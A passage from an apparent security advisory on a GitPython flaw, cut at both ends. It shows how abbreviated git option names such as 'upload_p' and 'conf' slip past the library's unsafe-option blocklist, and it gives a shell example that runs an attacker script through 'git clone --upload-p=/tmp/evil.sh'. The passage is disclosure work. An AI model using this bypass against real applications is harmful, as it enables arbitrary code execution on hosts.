``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The dire